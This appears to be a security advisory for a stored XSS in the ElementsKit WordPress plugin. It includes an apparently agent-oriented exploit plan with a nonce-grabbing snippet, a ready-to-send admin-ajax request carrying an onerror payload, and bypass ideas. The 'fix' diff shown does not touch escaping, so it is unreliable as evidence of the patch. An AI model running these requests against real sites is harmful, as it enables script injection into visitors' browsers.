ElementsKit Elementor Addons and Templates <= 3.7.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Simple Tab Widget
Description
The ElementsKit Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ekit_tab_title' parameter in the Simple Tab widget in all versions up to, and including, 3.7.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.7.9What Changed in the Fix
Changes introduced in v3.8.0
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-2600 - ElementsKit Stored XSS via Simple Tab Widget ## 1. Vulnerability Summary The **ElementsKit Elementor Addons and Templates** plugin (versions <= 3.7.9) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the **Simple Tab*…
Show full research plan
Vulnerability Research Plan: CVE-2026-2600 - ElementsKit Stored XSS via Simple Tab Widget
1. Vulnerability Summary
The ElementsKit Elementor Addons and Templates plugin (versions <= 3.7.9) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the Simple Tab widget (often referred to as the "Tab" widget in the UI). Specifically, the ekit_tab_title parameter, which stores the title of a tab item, is not properly sanitized upon input or escaped upon output. This allows an authenticated attacker with Contributor-level permissions (who can edit posts via Elementor) to inject malicious JavaScript into a page. The script executes whenever a user (including administrators) views the affected page.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
elementor_ajax(used by the Elementor editor to save widget data) - Sub-Action:
save_builder_data - Vulnerable Parameter:
ekit_tab_title(within thesettingsobject of anelementskit-tabwidget) - Required Authentication: Contributor or higher.
- Preconditions:
- The ElementsKit Lite plugin is active.
- The Elementor plugin is active.
- The attacker has a Contributor account and can edit a post/page using the Elementor editor.
3. Code Flow
- Input: A user with Contributor access opens a post in the Elementor editor.
- Action: The user adds an "ElementsKit Tab" widget and sets a tab title.
- Transmission: Elementor sends a POST request to
admin-ajax.php?action=elementor_ajax. The payload is a JSON string containing the widget's settings. - Processing: The plugin (via Elementor's framework) saves these settings into the WordPress database as post metadata (
_elementor_data). - Vulnerable Parameter Path:
settings->ekit_tab_items(repeater) ->ekit_tab_title.
- Rendering (Sink): When the page is viewed on the frontend, the widget's rendering function (likely in a file like
widgets/tab/tab.php, though not provided in the snippet, this is standard ElementsKit architecture) iterates through the tab items. - Output: The value of
ekit_tab_titleis echoed to the page without being passed throughesc_html()or a restrictivewp_kses()call.
4. Nonce Acquisition Strategy
Elementor uses its own internal security nonce for AJAX operations. To successfully save builder data, we must obtain this nonce.
Acquisition Steps:
- Login: Authenticate as a Contributor.
- Access Editor: Create a new post or edit an existing one:
wp-admin/post.php?post=POST_ID&action=elementor. - Extract Nonce: The Elementor nonce is stored in a JavaScript object localized on the page.
- JS Variable:
window.elementorCommonConfig.ajax.nonceorwindow.elementorConfig.ajax.nonce. - Tool Usage: Use
browser_navigateto open the editor andbrowser_evalto extract the nonce.
// Extraction payload
const nonce = window.elementorCommonConfig?.ajax?.nonce || window.elementorConfig?.ajax?.nonce;
return nonce;
5. Exploitation Strategy
The exploit involves sending a crafted Elementor AJAX request to update a post's content with a malicious ElementsKit Tab widget.
Step-by-Step Plan:
- Identify Post: Find a post ID that the Contributor can edit.
- Fetch Nonce: Navigate to the Elementor editor for that post and extract the nonce as described in Section 4.
- Craft Payload: Create a JSON payload for the
elementor_ajaxaction.action:elementor_ajax_nonce: [EXTRACTED_NONCE]actions: A JSON-encoded object containing thesave_builder_datacommand.
- Malicious Widget Data:
{ "id": "malicious-tab-id", "elType": "widget", "widgetType": "elementskit-tab", "settings": { "ekit_tab_items": [ { "ekit_tab_title": "<img src=x onerror=alert('CVE-2026-2600')>", "ekit_tab_content": "Standard Content" } ] } } - HTTP Request:
- Method: POST
- URL:
[TARGET_URL]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=elementor_ajax& _nonce=[NONCE]& actions={"save_builder_data":{"post_id":"[POST_ID]","data":[{"id":"container-id","elType":"container","settings":[],"elements":[{"id":"malicious-tab-id","elType":"widget","widgetType":"elementskit-tab","settings":{"ekit_tab_items":[{"ekit_tab_title":"<img src=x onerror=alert('CVE-2026-2600')>","ekit_tab_content":"Content"}]}}]}]}}
6. Test Data Setup
- User: Create a user with the
contributorrole. - Post: Create a post with
post_status='publish'authored by the contributor. - Plugin Config: Ensure
elementskit-liteis active. In the ElementsKit dashboard, ensure the "Tab" widget is enabled (it is enabled by default inconfig/widget-list.php).
7. Expected Results
- The HTTP request should return a
200 OKwith a JSON body indicating success:{"success":true,"data":{...}}. - When navigating to the post URL on the frontend (e.g.,
/?p=[POST_ID]), an alert box withCVE-2026-2600should appear. - The HTML source of the page should contain:
<img src=x onerror=alert('CVE-2026-2600')>.
8. Verification Steps
- WP-CLI: Verify the meta value is stored in the database.
wp post meta get [POST_ID] _elementor_data - Check for Payload: Inspect the output of the CLI command for the presence of the
<img src=x ...>string. - Frontend Check: Use the
browser_navigatetool to the frontend URL of the post and check for the execution of the alert.
9. Alternative Approaches
- SVG Infiltration: If
<script>or<img>tags are filtered by a WAF butwp_ksesis used with theget_kses_array()fromhelpers/utils.php, note thatsvgandpathtags are allowed in that list (Lines 163-176). An attacker might try injecting an SVG with anonloadattribute if theksescall is present but misconfigured. - Style Injection: If the title is rendered inside a
styleattribute (unlikely for a title, but possible for styling tab headers), one could useexpression()(old IE) or breakout techniques. - REST API: Check if the
elementskit/v1/widget-builderendpoint (seen inconfig/module-list.php) allows modification of widget data without going through Elementor's standard AJAX. (Requires checkingcore/handler-api.php).
Summary
The ElementsKit Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Simple Tab widget. Authenticated attackers with contributor-level permissions can inject malicious JavaScript into the 'ekit_tab_title' parameter, which is then executed in the context of any user viewing the affected page due to missing output escaping.
Security Fix
@@ -136,6 +136,12 @@ 'title' => 'Global Badge', 'attributes' => array( 'new' ), ], + 'scroll-reveal' => [ + 'slug' => 'scroll-reveal', + 'package' => 'pro-disabled', + 'title' => 'Scroll Reveal', + 'attributes' => array( 'upcoming' ), + ], ) ); } @@ -277,282 +277,329 @@ 'title' => 'Advanced Accordion', 'package' => 'pro-disabled', 'widget-category' => 'advanced', // advanced + 'icon' => 'ekit ekit-accordion', ), 'advanced-tab' => array( 'slug' => 'advanced-tab', 'title' => 'Advanced Tab', 'package' => 'pro-disabled', 'widget-category' => 'advanced', // advanced + 'icon' => 'ekit ekit-tab', ),
Exploit Outline
To exploit this vulnerability, an attacker must have at least Contributor-level access to the WordPress site. The attacker performs the following steps: 1. Log in to the WordPress dashboard as a Contributor. 2. Access the Elementor editor for a post or page the user is authorized to edit. 3. Extract the required Elementor AJAX nonce from the localized JavaScript object `window.elementorCommonConfig.ajax.nonce`. 4. Craft a malicious JSON payload targeting the `elementor_ajax` endpoint with the `save_builder_data` action. 5. The payload includes an `elementskit-tab` widget containing a repeater item where the `ekit_tab_title` parameter is set to a malicious script, such as `<img src=x onerror=alert(document.domain)>`. 6. Send the crafted POST request to `/wp-admin/admin-ajax.php`. 7. Once saved, the script will execute in the browser of any user who navigates to the public URL of the modified post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.